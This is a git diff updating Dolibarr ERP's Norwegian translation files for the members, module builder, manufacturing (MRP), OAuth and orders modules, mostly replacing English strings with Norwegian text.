BlankSubscriptionFormDesc=Dolibarr kan gi deg en offentlig URL/nettside for å tillate eksterne besøkende å be om å abonnere på firmaet. Hvis en elektronisk betalingsmodul er aktivert, kan et betalingsformular også gis automatisk. EnablePublicSubscriptionForm=Aktiver det offentlige nettstedet med selvinnmeldingsskjema ForceMemberType=Tving medlemstype -ExportDataset_member_1=Members and contributions +ExportDataset_member_1=Medlemmer og bidrag ImportDataset_member_1=Medlemmer LastMembersModified=Siste %s endrede medlemmer -LastSubscriptionsModified=Latest %s modified contributions +LastSubscriptionsModified=Siste %s modifiserte bidrag String=Streng Text=Tekst Int=Int DateAndTime=Dato og tid PublicMemberCard=Offentlig medlemskort -SubscriptionNotRecorded=Contribution not recorded -AddSubscription=Create contribution -ShowSubscription=Show contribution +SubscriptionNotRecorded=Bidrag ikke registrert +AddSubscription=Opprett bidrag +ShowSubscription=Vis bidrag # Label of email templates SendingAnEMailToMember=Sende informasjons-epost til medlem SendingEmailOnAutoSubscription=Sende epost ved automatisk registrering SendingEmailOnMemberValidation=Sende epost ved validering av nytt medlem -SendingEmailOnNewSubscription=Sending email on new contribution -SendingReminderForExpiredSubscription=Sending reminder for expired contributions +SendingEmailOnNewSubscription=Sender epost om nytt bidrag +SendingReminderForExpiredSubscription=Sender påminnelse for utløpte bidrag SendingEmailOnCancelation=Sende epost ved avbestilling SendingReminderActionComm=Sender påminnelse for agenda-hendelse # Topic of email templates YourMembershipRequestWasReceived=Ditt medlemskap ble mottatt. YourMembershipWasValidated=Ditt medlemskap ble godkjent -YourSubscriptionWasRecorded=Your new contribution was recorded -SubscriptionReminderEmail=contribution reminder +YourSubscriptionWasRecorded=Ditt nye bidrag ble registrert +SubscriptionReminderEmail=bidragspåminnelse YourMembershipWasCanceled=Ditt medlemskap ble kansellert CardContent=Innhold på medlemskortet ditt # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Din forespørsel om medlemskap ble mottatt.

      ThisIsContentOfYourMembershipWasValidated=Ditt medlemskap ble validert med følgende opplysninger:

      -ThisIsContentOfYourSubscriptionWasRecorded=Det nye abonnementet ditt ble registrert.

      +ThisIsContentOfYourSubscriptionWasRecorded=Vi vil informere deg om at ditt nye abonnement ble registrert. Vennligst finn din faktura vedlagt her.

      ThisIsContentOfSubscriptionReminderEmail=Vi vil fortelle deg at abonnementet ditt er i ferd med å utløpe eller allerede er utløpt (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Vi håper du vil fornye det.

      ThisIsContentOfYourCard=Dette er et sammendrag av informasjonen vi har om deg. Ta kontakt med oss hvis noe er feil.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Emnet i e-post som mottas i tilfelle auto-inskripsjon av en gjest DescADHERENT_AUTOREGISTER_NOTIF_MAIL=Emnet i e-post som mottas i tilfelle auto-inskripsjon av en gjest -DescADHERENT_EMAIL_TEMPLATE_AUTOREGISTER=Email template to use to send email to a member on member auto-registration +DescADHERENT_EMAIL_TEMPLATE_AUTOREGISTER=Epostmal som skal brukes til å sende epost til et medlem ved automatisk medlemsregistrering DescADHERENT_EMAIL_TEMPLATE_MEMBER_VALIDATION=E-postmal til bruk for å sende e-post til medlem på medlemsvalidering -DescADHERENT_EMAIL_TEMPLATE_SUBSCRIPTION=Email template to use to send email to a member on new contribution recording -DescADHERENT_EMAIL_TEMPLATE_REMIND_EXPIRATION=Email template to use to send email reminder when contribution is about to expire +DescADHERENT_EMAIL_TEMPLATE_SUBSCRIPTION=Epostmal som skal brukes til å sende epost til et medlem på registrering av nytt bidrag +DescADHERENT_EMAIL_TEMPLATE_REMIND_EXPIRATION=Epostmal som skal brukes til å sende epostpåminnelse når bidraget er i ferd med å utløpe DescADHERENT_EMAIL_TEMPLATE_CANCELATION=E-postmal til bruk for å sende e-post til et medlem ved kansellering av medlemskap DescADHERENT_EMAIL_TEMPLATE_EXCLUSION=E-postmal som skal brukes til å sende e-post om ekskludering av medlemmer DescADHERENT_MAIL_FROM=Avsenderadresse for automatisk e-post @@ -157,21 +167,21 @@ DescADHERENT_CARD_TEXT_RIGHT=Tekst trykt på medlemskort (høyrejustert) DescADHERENT_CARD_FOOTER_TEXT=Tekst trykt nederst på medlemskortene ShowTypeCard=Vis type '%s' HTPasswordExport=htpassword-fil generering -NoThirdPartyAssociatedToMember=No third party associated with this member -MembersAndSubscriptions=Members and Contributions +NoThirdPartyAssociatedToMember=Ingen tredjepart knyttet til dette medlemmet +MembersAndSubscriptions=Medlemmer og bidrag MoreActions=Komplementære tiltak ved opprettelse -MoreActionsOnSubscription=Complementary action suggested by default when recording a contribution, also done automatially on online payment of a contribution +MoreActionsOnSubscription=Utfyllende handling foreslått som standard ved registrering av et bidrag, også gjort automatisk ved online betaling av et bidrag MoreActionBankDirect=Opprett en direkteføring på bankkonto MoreActionBankViaInvoice=Opprett en faktura, og en betaling på bankkonto MoreActionInvoiceOnly=Lag en faktura uten betaling -LinkToGeneratedPages=Generation of business cards or address sheets +LinkToGeneratedPages=Generering av visittkort eller adresseark LinkToGeneratedPagesDesc=I dette skjermbildet kan du generere PDF-filer med visittkort for alle medlemmer eller et enkelt medlem. DocForAllMembersCards=Generer visittkort for alle medlemmer DocForOneMemberCards=Generer visittkort for et bestemt medlem DocForLabels=Generer adresseark -SubscriptionPayment=Contribution payment -LastSubscriptionDate=Date of latest contribution payment -LastSubscriptionAmount=Amount of latest contribution +SubscriptionPayment=Innbetaling av bidrag +LastSubscriptionDate=Dato for siste bidragsinnbetaling +LastSubscriptionAmount=Beløp for siste bidrag LastMemberType=Siste medlemstype MembersStatisticsByCountries=Medlemsstatistikk etter land MembersStatisticsByState=Medlemsstatistikk etter delstat/provins @@ -188,36 +198,41 @@ MembersByRegion=Dette skjermbildet viser deg statistikk over medlemmer etter reg MembersStatisticsDesc=Velg statistikk du ønsker å lese ... MenuMembersStats=Statistikk LastMemberDate=Siste medlemskapsdato -LatestSubscriptionDate=Latest contribution date +LatestSubscriptionDate=Siste bidragsdato MemberNature=Medlemmets art MembersNature=Medlemmenes art Public=Informasjonen er offentlig NewMemberbyWeb=Nytt medlem lagt til. Venter på godkjenning NewMemberForm=Skjema for nytt medlem -SubscriptionsStatistics=Contributions statistics -NbOfSubscriptions=Number of contributions -AmountOfSubscriptions=Amount collected from contributions +SubscriptionsStatistics=Bidragsstatistikk +NbOfSubscriptions=Antall bidrag +AmountOfSubscriptions=Beløp samlet inn fra bidrag TurnoverOrBudget=Omsetning (for et selskap) eller Budsjett (for en organisasjon) -DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Gå til online betalingsside +DefaultAmount=Standard bidragsbeløp (brukes bare hvis ingen beløp er definert på medlemstypenivå) +MinimumAmount=Minimumsbeløp (brukes bare når bidragsbeløpet er gratis) +CanEditAmount=Abonnementsbeløpet er gratis +CanEditAmountDetail=Besøkende kan velge/redigere beløpet for sitt bidrag uavhengig av medlemstype +AmountIsLowerToMinimumNotice=Totalt forfall på %s +MEMBER_NEWFORM_PAYONLINE=Etter den elektroniske registreringen bytter du automatisk til betalingssiden på nett ByProperties=Etter egenskap MembersStatisticsByProperties=Medlemsstatistikk etter egenskap -VATToUseForSubscriptions=VAT rate to use for contributionss -NoVatOnSubscription=No VAT for contributions -ADHERENT_PRODUCT_ID_FOR_SUBSCRIPTIONS=Product used for contribution line into invoice: %s +VATToUseForSubscriptions=MVA-sats til bruk for bidrag +NoVatOnSubscription=Ingen MVA for bidrag +ADHERENT_PRODUCT_ID_FOR_SUBSCRIPTIONS=Produkt brukt for bidragslinje til faktura: %s NameOrCompany=Navn eller firma -SubscriptionRecorded=Contribution recorded +SubscriptionRecorded=Bidrag registrert NoEmailSentToMember=Ingen epost sendt til medlem EmailSentToMember=E-post sendt til medlem på %s -SendReminderForExpiredSubscriptionTitle=Send reminder by email for expired contributions -SendReminderForExpiredSubscription=Send reminder by email to members when contribution is about to expire (parameter is number of days before end of membership to send the remind. It can be a list of days separated by a semicolon, for example '10;5;0;-5') +SendReminderForExpiredSubscriptionTitle=Send påminnelse på e-post for utløpte bidrag +SendReminderForExpiredSubscription=Send påminnelse på e-post til medlemmer når bidraget er i ferd med å utløpe (parameteren er antall dager før slutten av medlemskapet for å sende påminnelsen. Det kan være en liste over dager atskilt med semikolon, for eksempel '10;5;0;-5 ') MembershipPaid=Medlemskap betalt for gjeldende periode (til %s) YouMayFindYourInvoiceInThisEmail=Du kan finne fakturaen din vedlagt denne e-posten XMembersClosed=%s medlem(mer) lukket XExternalUserCreated=%s ekstern(e) bruker(e) opprettet ForceMemberNature=Tving medlemmets natur (enkeltperson eller selskap) -CreateDolibarrLoginDesc=The creation of a user login for members allows them to connect to the application. Depending on the authorizations granted, they will be able, for example, to consult or modify their file themselves. -CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. +CreateDolibarrLoginDesc=Opprettelsen av en brukerpålogging for medlemmer lar dem koble seg til applikasjonen. Avhengig av autorisasjonene som er gitt, vil de for eksempel kunne konsultere eller endre filen selv. +CreateDolibarrThirdPartyDesc=En tredjepart er den juridiske enheten som vil bli brukt på fakturaen hvis du bestemmer deg for å generere faktura for hvert bidrag. Du vil kunne opprette den senere under prosessen med å registrere bidraget. MemberFirstname=Medlemmets fornavn MemberLastname=Medlemmets etternavn +MemberCodeDesc=Medlemskode, unik for alle medlemmer +NoRecordedMembers=Ingen registrerte medlemmer diff --git a/htdocs/langs/nb_NO/modulebuilder.lang b/htdocs/langs/nb_NO/modulebuilder.lang index 5a82b38b2d0..bdbe28d93e9 100644 --- a/htdocs/langs/nb_NO/modulebuilder.lang +++ b/htdocs/langs/nb_NO/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Modul-ID ModuleBuilderDesc=Dette verktøyet må kun brukes av erfarne brukere eller utviklere. Det gir verktøy for å bygge eller redigere din egen modul. Dokumentasjon for alternativ manuell utvikling er her . EnterNameOfModuleDesc=Skriv inn navnet på modulen/applikasjonen som skal opprettes uten mellomrom. Bruk store bokstaver for å skille ord (for eksempel: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Skriv inn navnet på objektet som skal lages uten mellomrom. Bruk store bokstaver for å skille ord (for eksempel: Mitt objekt, elev, lærer...). CRUD-klassefilen, men også API-fil, sider for å liste/legge til/redigere/slette objekter og SQL-filer vil bli generert. +EnterNameOfObjectDesc=Skriv inn navnet på objektet som skal lages uten mellomrom. Bruk store bokstaver for å skille ord (for eksempel: Mitt objekt, elev, lærer...). CRUD-klassefilen, sidene som skal listes/legges til/redigeres/slettes objektet og SQL-filene vil bli generert. EnterNameOfDictionaryDesc=Skriv inn navnet på ordboken som skal lages uten mellomrom. Bruk store bokstaver for å skille ord (For eksempel: MyDico...). Klassefilen, men også SQL-filen vil bli generert. ModuleBuilderDesc2=Sti hvor moduler genereres/redigeres (første katalog for eksterne moduler definert i %s): %s ModuleBuilderDesc3=Genererte/redigerbare moduler funnet: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=En modul detekteres som "redigerbar" når filen%s %s? Dette vil endre kode i PHP klassen, og fjerne kolonne fra tabelldefinisjon av objekt. NotNull=Ikke NULL NotNullDesc=1=Sett databasen til IKKE NULL, 0=Tillat nullverdier, -1=Tillat nullverdier ved å tvinge verdien til NULL hvis tom ('' eller 0) @@ -81,15 +86,16 @@ IsAMeasure=Er en måling DirScanned=Mappe skannet NoTrigger=Ingen utløser NoWidget=Ingen widget -GoToApiExplorer=API-utforsker +ApiExplorer=API-utforsker ListOfMenusEntries=Liste over menyoppføringer ListOfDictionariesEntries=Liste over ordbokinnføringer ListOfPermissionsDefined=Liste over definerte tillatelser SeeExamples=Se eksempler her -EnabledDesc=Betingelse for å ha dette feltet aktivt (Eksempler: 1 eller $conf->global->MYMODULE_MYOPTION) -VisibleDesc=Er feltet synlig? (Eksempler: 0=Aldri synlig, 1=Synlig på liste og opprett/oppdater/vis skjemaer, 2=Synlig bare på liste, 3=Synlig bare på opprett/oppdater/vis skjema (ikke liste), 4=Synlig bare på liste og oppdaterings-/visningsskjema (ikke opprett), 5=Synlig på listens sluttformular (ikke opprett, ikke oppdatering).

      Bruk av negativ verdi betyr at feltet ikke vises som standard på listen, men kan velges for visning).

      Det kan være et uttrykk, for eksempel:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      Currently, known compatibles PDF models are : eratosthene (order), espadon (ship), sponge (invoices), cyan (propal/quotation), cornas (supplier order)

      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty -DisplayOnPdf=Vis på PDF +EnabledDesc=Betingelse for å ha dette feltet aktivt..

      Eksempler:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Er feltet synlig? (Eksempler: 0=Aldri synlig, 1=Synlig på liste og opprett/oppdater/vis skjemaer, 2=Kun synlig på liste, 3=Synlig på opprette/oppdater/vis kun skjema (ikke liste), 4=Synlig på liste og oppdater/vis kun skjema (ikke opprett), 5=Synlig kun på listesluttvisningsskjema (ikke opprett, ikke oppdater)

      Bruk av en negativ verdi betyr at feltet ikke vises som standard på listen, men kan velges for visning). +ItCanBeAnExpression=Det kan være et uttrykk. Eksempel:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday','define_holiday')?1:5 +DisplayOnPdfDesc=Vis dette feltet på kompatible PDF-dokumenter, du kan administrere posisjon med "Posisjon"-feltet.
      For dokument :
      0 = ikke vist
      1 = visning
      2 = vis kun hvis ikke tom

      For dokumentlinjer:
      0 = ikke vist
      1 = vist i en kolonne
      3 = visning i linjebeskrivelseskolonne etter beskrivelse
      4 = vises i beskrivelseskolonne etter beskrivelsen bare hvis den ikke er tom +DisplayOnPdf=På PDF IsAMeasureDesc=Kan verdien av feltet bli kumulert for å få en total i listen? (Eksempler: 1 eller 0) SearchAllDesc=Er feltet brukt til å søke fra hurtigsøkingsverktøyet? (Eksempler: 1 eller 0) SpecDefDesc=Skriv inn all dokumentasjon du vil gi med modulen din, som ikke allerede er definert av andre faner. Du kan bruke .md eller bedre, .asciidoc-syntaksen. @@ -97,7 +103,7 @@ LanguageDefDesc=I disse filene skriver du inn alle nøklene og oversettelsene fo MenusDefDesc=Her definerer du menyene som tilbys av modulen din DictionariesDefDesc=Her defineres ordbøkene levert av modulen din PermissionsDefDesc=Her definerer du de nye tillatelsene som tilbys av modulen din -MenusDefDescTooltip=The menus provided by your module/application are defined into the array $this->menus into the module descriptor file. You can edit manually this file or use the embedded editor.

      Note: Once defined (and the module re-activated), the menus are also visible into the menu editor available to administrator users on %s. +MenusDefDescTooltip=Menyene som leveres av din modul/applikasjon er definert i matrisen $this->menyer i modulbeskrivelsesfilen. Du kan redigere denne filen manuelt eller bruke den innebygde editoren.

      Merk: Når de er definert (og modulen reaktivert), er menyene også synlige i menyredigeringsprogrammet som er tilgjengelig for administratorbrukere på %s. DictionariesDefDescTooltip=Ordbøkene levert av din modul/applikasjon er definert i matrisen $ this->; ordbøker i beskrivelsesfilen for modulen. Du kan redigere denne filen manuelt eller bruke den innebygde editoren.

      Merk: Når definert (og modul er blitt aktivert på nytt), er ordbøker også synlige i konfigurasjonsområdet for administratorbrukere på %s. PermissionsDefDescTooltip=Tillatelsene som er gitt av modulen/applikasjonen, er definert i array $this->righs i filen for modulbeskrivelsen. Du kan redigere denne filen manuelt eller bruke den innebygde editoren.

      Merk: Når definert (og modul reaktivert), er tillatelser synlige i standardrettighetsoppsettet %s. HooksDefDesc=Definer egenskapen module_parts ['hooks'] i modulbeskrivelsen, konteksten av hooks du vil administrere (liste over sammenhenger kan bli funnet ved et søk på ' initHooks('i kjernekode).
      Rediger hooks-filen for å legge til kode for dine tilkoblede funksjoner (hookable funksjoner kan bli funnet ved et søk på ' executeHooks ' i kjernekode). @@ -130,26 +136,40 @@ UseSpecificEditorURL = Bruk en bestemt editor-URL UseSpecificFamily = Bruk en bestemt familie UseSpecificAuthor = Bruk en bestemt forfatter UseSpecificVersion = Bruk en bestemt innledende versjon -IncludeRefGeneration=Referansen til objektet må genereres automatisk av tilpassede nummereringsregler +IncludeRefGeneration=Referansen til dette objektet må genereres automatisk av tilpassede nummereringsregler IncludeRefGenerationHelp=Kryss av for dette hvis du vil inkludere kode for å administrere genereringen av referansen automatisk ved å bruke tilpassede nummereringsregler -IncludeDocGeneration=Jeg ønsker å generere noen dokumenter fra maler for objektet +IncludeDocGeneration=Jeg vil at funksjonen skal generere noen dokumenter (PDF, ODT) fra maler for dette objektet IncludeDocGenerationHelp=Hvis du krysser av for dette, genereres det kode for å legge til en "Generer dokument" -boksen på posten. -ShowOnCombobox=Vis verdi i kombinasjonsboks +ShowOnCombobox=Vis verdi i kombinasjonsbokser KeyForTooltip=Nøkkel for verktøytips CSSClass=CSS for å redigere/opprette skjema CSSViewClass=CSS for leseskjema CSSListClass=CSS for liste NotEditable=Ikke redigerbar ForeignKey=Fremmed nøkkel -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=Hvis verdien av dette feltet garanteret må finnes i en annen tabell. Skriv inn en verdi som samsvarer med syntaks her: tablename.parentfieldtocheck +TypeOfFieldsHelp=Eksempel:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' betyr at vi legger til en + knapp etter kombinasjonsboksen for å opprette posten
      'filter' er en sql tilstand, eksempel: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=Dette er typen av feltet/attributtet. AsciiToHtmlConverter=Ascii til HTML konverter AsciiToPdfConverter=Ascii til PDF konverter TableNotEmptyDropCanceled=Tabellen er ikke tom. Drop har blitt kansellert. ModuleBuilderNotAllowed=Modulbyggeren er tilgjengelig, men ikke tillatt for brukeren din. ImportExportProfiles=Importer og eksporter profiler -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. -WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated -LinkToParentMenu=Parent menu (fk_xxxxmenu) -ListOfTabsEntries=List of tab entries +ValidateModBuilderDesc=Sett dette til 1 hvis du vil ha metoden $this->validateField() til objektet som kalles for å validere innholdet i feltet under innsetting eller oppdatering. Sett 0 hvis det ikke er nødvendig med validering. +WarningDatabaseIsNotUpdated=Advarsel: Databasen oppdateres ikke automatisk, du må ødelegge tabeller og deaktivere-aktivere modulen for å få tabeller gjenskapt +LinkToParentMenu=Overordnet meny (fk_xxxxmenu) +ListOfTabsEntries=Liste over faneoppføringer TabsDefDesc=Definer fanene som leveres av modulen din her -TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +TabsDefDescTooltip=Fanene som tilbys av din modul/applikasjon er definert i arrayet $this->tabs i modulbeskrivelsesfilen. Du kan redigere denne filen manuelt eller bruke den innebygde editoren. +BadValueForType=Feil verdi for type %s +DefinePropertiesFromExistingTable=Definer egenskaper fra en eksisterende tabell +DefinePropertiesFromExistingTableDesc=Hvis en tabell i databasen (for objektet som skal opprettes) allerede eksisterer, kan du bruke den til å definere egenskapene til objektet. +DefinePropertiesFromExistingTableDesc2=Hold tom hvis tabellen ikke eksisterer ennå. Kodegeneratoren vil bruke forskjellige typer felt for å bygge et eksempel på en tabell som du kan redigere senere. +GeneratePermissions=Jeg vil legge til rettighetene for dette objektet +GeneratePermissionsHelp=generer standardrettigheter for dette objektet +PermissionDeletedSuccesfuly=Tillatelsen er fjernet +PermissionUpdatedSuccesfuly=Tillatelsen er oppdatert +PermissionAddedSuccesfuly=Tillatelsen er lagt til +MenuDeletedSuccessfuly=Menyen er slettet +MenuAddedSuccessfuly=Menyen er lagt til +MenuUpdatedSuccessfuly=Menyen har blitt oppdatert diff --git a/htdocs/langs/nb_NO/mrp.lang b/htdocs/langs/nb_NO/mrp.lang index 2ede940ab54..9059835ff45 100644 --- a/htdocs/langs/nb_NO/mrp.lang +++ b/htdocs/langs/nb_NO/mrp.lang @@ -9,10 +9,10 @@ LatestBOMModified=Siste %s endrede materialkostnader LatestMOModified=Siste %s endrede produksjonsordre Bom=Materialkostnader (BOM) BillOfMaterials=Materialkostnader (BOM) -BillOfMaterialsLines=Bill of Materials lines +BillOfMaterialsLines=Stykkliste-linjer BOMsSetup=Oppsett av BOM-modulen  -ListOfBOMs=Liste over Materialkostnader - BOM -ListOfManufacturingOrders=Liste over produksjonsordre +ListOfBOMs=Stykklister - BOM +ListOfManufacturingOrders=Produksjonsordrer NewBOM=Ny BOM ProductBOMHelp=Vare å produsere (eller demontere) med denne stykklisten.
      Merk: Produkter med egenskapen 'Varensart' = 'Råvarer' er ikke synlige i denne listen. BOMsNumberingModules=BOM nummereringsmaler @@ -27,12 +27,13 @@ ConfirmCloneBillOfMaterials=Er du sikker på at du vil klone BOM%s? ConfirmCloneMo=Er du sikker på at du vil klone produksjonsordren %s? ManufacturingEfficiency=Produksjonseffektivitet ConsumptionEfficiency=Forbrukseffektivitet -ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly +Consumption=Forbruk +ValueOfMeansLoss=Verdi på 0,95 betyr et gjennomsnitt på 5%% tap under produksjonen eller demonteringen ValueOfMeansLossForProductProduced=Verdi på 0,95 betyr et gjennomsnitt på 5%% tap av produsert produkt DeleteBillOfMaterials=Slett BOM DeleteMo=Slett produksjonsordre ConfirmDeleteBillOfMaterials=Er du sikker på at du vil slette BOM? -ConfirmDeleteMo=Are you sure you want to delete this Manufacturing Order? +ConfirmDeleteMo=Er du sikker på at du vil slette denne produksjonsordren? MenuMRP=Produksjonsordrer NewMO=Ny produksjonsordre QtyToProduce=Antall å produsere @@ -56,7 +57,7 @@ WarehouseForProduction=Varehus for produksjon CreateMO=Lag MO ToConsume=Å forbruke ToProduce=Å produsere -ToObtain=To obtain +ToObtain=For å oppnå QtyAlreadyConsumed=Antall allerede forbrukt QtyAlreadyProduced=Antall allerede produsert QtyRequiredIfNoLoss=Antall påkrevd hvis det ikke finnes tap (Produksjonseffektivitet er 100%%) @@ -69,8 +70,8 @@ ForAQuantityToConsumeOf=For en mengde å demontere av %s ConfirmValidateMo=Er du sikker på at du vil validere denne produksjonsordren? ConfirmProductionDesc=Ved å klikke på '%s', vil du validere forbruket og/eller produksjonen for angitte mengder. Dette vil også oppdatere lagermengde og registrere lagerebevegelser. ProductionForRef=Produksjon av %s -CancelProductionForRef=Cancellation of product stock decrementation for product %s -TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement +CancelProductionForRef=Kansellering av lagerreduksjon for vare %s +TooltipDeleteAndRevertStockMovement=Slett linje og tilbakestill lagerbevegelse AutoCloseMO=Lukk produksjonsordren automatisk hvis mengder som skal konsumeres og produseres oppnås NoStockChangeOnServices=Ingen lagerendring på tjenester ProductQtyToConsumeByMO=Produktmengde som fremdeles skal forbrukes av åpen MO @@ -82,6 +83,7 @@ ProductsToProduce=Varer å produsere UnitCost=Enhetskostnad TotalCost=Totalkostnad BOMTotalCost=Kostnaden for å produsere denne stykklisten basert på kostnadene for hver mengde og vare som skal konsumeres (bruk kostpris hvis definert, ellers gjennomsnittlig vektet pris hvis definert, ellers den beste kjøpesummen) +BOMTotalCostService=Hvis modulen "Arbeidsstasjon" er aktivert og en arbeidsstasjon er definert som standard på linjen, så er beregningen "antall (omregnet til timer) x arbeidsstasjon ahr", ellers "antall (omregnet til timer) x kostpris for tjenesten" GoOnTabProductionToProduceFirst=Du må først ha startet produksjonen for å lukke en produksjonsordre (se fanen '%s'). Men du kan kansellere den. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Et sett kan ikke brukes i en BOM eller en MO Workstation=Arbeidsstasjon @@ -100,15 +102,23 @@ NbOperatorsRequired=Antall operatører som kreves THMOperatorEstimated=Anslått operatør THM THMMachineEstimated=Anslått maskin THM WorkstationType=Arbeidsstasjonstype +DefaultWorkstation=Standard arbeidsstasjon Human=Menneskelig Machine=Maskin HumanMachine=Menneske/maskin WorkstationArea=Arbeidsstasjonsområde Machines=Maskiner THMEstimatedHelp=Denne verdien gjør det mulig å definere en prognosekostnad for varen -BOM=Bill Of Materials -CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module -MOAndLines=Manufacturing Orders and lines -MoChildGenerate=Generate Child Mo -ParentMo=MO Parent -MOChild=MO Child +BOM=Stykklister(BOM) +CollapseBOMHelp=Du kan definere standardvisningen av detaljene i nomenklaturen i konfigurasjonen av stykklistemodulen +MOAndLines=Produksjonsordrer og linjer +MoChildGenerate=Generer underordnet MO +ParentMo=Overordnet MO +MOChild=Underordnet MO +BomCantAddChildBom=Nomenklaturen %s er allerede til stede i treet som fører til nomenklaturen %s +BOMNetNeeds = BOM Netto behov +BOMProductsList=BOM's varer +BOMServicesList=BOM's tjenester +Manufacturing=Produksjon +Disassemble=Demonter +ProducedBy=Produsert av diff --git a/htdocs/langs/nb_NO/oauth.lang b/htdocs/langs/nb_NO/oauth.lang index 81368517bff..9e2b8dbdf00 100644 --- a/htdocs/langs/nb_NO/oauth.lang +++ b/htdocs/langs/nb_NO/oauth.lang @@ -9,13 +9,14 @@ HasAccessToken=En nøkkel ble generert og lagret i lokal database NewTokenStored=Nøkkel mottatt og lagret ToCheckDeleteTokenOnProvider=Klikk her for å hake av/slette autorisasjon lagret av %s OAuth-leverandør TokenDeleted=Nøkkel slettet -RequestAccess=Click here to request/renew access and receive a new token -DeleteAccess=Klikk her for å slette nøkkel +GetAccess=Klikk her for å få et token +RequestAccess=Klikk her for å be om/fornye tilgang og motta et nytt token +DeleteAccess=Klikk her for å slette tokenet UseTheFollowingUrlAsRedirectURI=Bruk følgende URL som redirect-URL når du lager din legitimasjon hos din OAuth tilbyder -ListOfSupportedOauthProviders=Add your OAuth2 token providers. Then, go on your OAuth provider admin page to create/get an OAuth ID and Secret and save them here. Once done, switch on the other tab to generate your token. -OAuthSetupForLogin=Page to manage (generate/delete) OAuth tokens +ListOfSupportedOauthProviders=Legg til OAuth2-tokenleverandørene dine. Gå deretter til OAuth-leverandørens admin-side for å opprette/få en OAuth-ID og Secret og lagre dem her. Når du er ferdig, slår du på den andre fanen for å generere tokenet ditt. +OAuthSetupForLogin=Side for å administrere (generere/slette) OAuth-tokens SeePreviousTab=Se forrige fane -OAuthProvider=OAuth provider +OAuthProvider=OAuth-leverandør OAuthIDSecret=OAuth ID og hemmelig spørsmål TOKEN_REFRESH=Nøkkeloppfriskning tilstede TOKEN_EXPIRED=Nøkkel utgått @@ -27,10 +28,14 @@ OAUTH_GOOGLE_SECRET=OAuth Google Secret OAUTH_GITHUB_NAME=OAuth GitHub service OAUTH_GITHUB_ID=OAuth GitHub ID OAUTH_GITHUB_SECRET=OAuth GitHub Secret -OAUTH_URL_FOR_CREDENTIAL=Go to this page to create or get your OAuth ID and Secret +OAUTH_URL_FOR_CREDENTIAL=Gå til denne siden for å opprette eller få din OAuth ID og Hemmelighet OAUTH_STRIPE_TEST_NAME=OAuth Stripe Test OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=OAuth ID -OAUTH_SECRET=OAuth secret -OAuthProviderAdded=OAuth provider added -AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=An OAuth entry for this provider and label already exists +OAUTH_ID=OAuth-klient-ID +OAUTH_SECRET=OAuth-hemmelighet +OAUTH_TENANT=OAuth-leier +OAuthProviderAdded=OAuth-leverandør lagt til +AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Det finnes allerede en OAuth-oppføring for denne leverandøren og etiketten +URLOfServiceForAuthorization=URL levert av OAuth-tjenesten for autentisering +Scopes=Tillatelser (omfang) +ScopeUndefined=Tillatelser (omfang) udefinert (se forrige fane) diff --git a/htdocs/langs/nb_NO/orders.lang b/htdocs/langs/nb_NO/orders.lang index 3b923557671..55fbf0afff6 100644 --- a/htdocs/langs/nb_NO/orders.lang +++ b/htdocs/langs/nb_NO/orders.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - orders +OrderExists=En ordre var allerede åpen knyttet til dette forslaget, så ingen annen ordre ble opprettet automatisk OrdersArea=Område for kundeordre SuppliersOrdersArea=Innkjøpsordreområde OrderCard=Ordrekort @@ -17,7 +18,7 @@ ToOrder=Lag ordre MakeOrder=Opprett ordre SupplierOrder=Innkjøpsordre SuppliersOrders=Innkjøpsordre -SaleOrderLines=Sales order lines +SaleOrderLines=Salgsordrelinjer PurchaseOrderLines=Innkjøpsordrelinjer SuppliersOrdersRunning=Nåværende innkjøpsordre CustomerOrder=Salgsordre @@ -68,8 +69,8 @@ CreateOrder=Opprett ordre RefuseOrder=Avvis ordre ApproveOrder=Godkjenn ordre Approve2Order=Godkjenn ordre (2. nivå) -UserApproval=User for approval -UserApproval2=User for approval (second level) +UserApproval=Bruker til godkjenning +UserApproval2=Bruker til godkjenning (andre nivå) ValidateOrder=Valider ordre 